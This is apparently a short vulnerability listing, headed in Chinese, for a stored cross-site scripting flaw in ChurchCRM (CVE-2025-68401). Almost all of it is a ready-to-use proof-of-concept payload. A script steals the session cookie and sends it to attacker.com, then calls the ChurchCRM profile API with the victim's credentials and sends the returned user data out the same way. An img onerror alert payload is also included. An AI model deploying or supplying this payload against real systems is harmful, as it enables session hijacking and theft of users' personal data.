CVE-2025-68401 ChurchCRM 存储型XSS漏洞

<!-- Stored XSS PoC for ChurchCRM CVE-2025-68401 --> <!-- Requires high privilege access to inject content --> <!-- Example: Inject malicious JavaScript via a field that accepts HTML --> <script> // Steal session cookie if HttpOnly is not set var cookie = document.cookie; // Send cookie to attacker controlled endpoint fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(cookie)); // Alternative: Perform actions as the victim // Example: Make API calls to ChurchCRM endpoints fetch('/api/user/profile', { method: 'GET', credentials: 'include' }).then(response => response.json()).then(data => { // Exfiltrate user data fetch('https://attacker.com/exfil?data=' + encodeURIComponent(JSON.stringify(data))); }); </script> <!-- Simple alert PoC for verification --> <img src=x onerror="alert('Stored XSS - CVE-2025-68401')"> <!-- The injected script will execute when any user views the content -->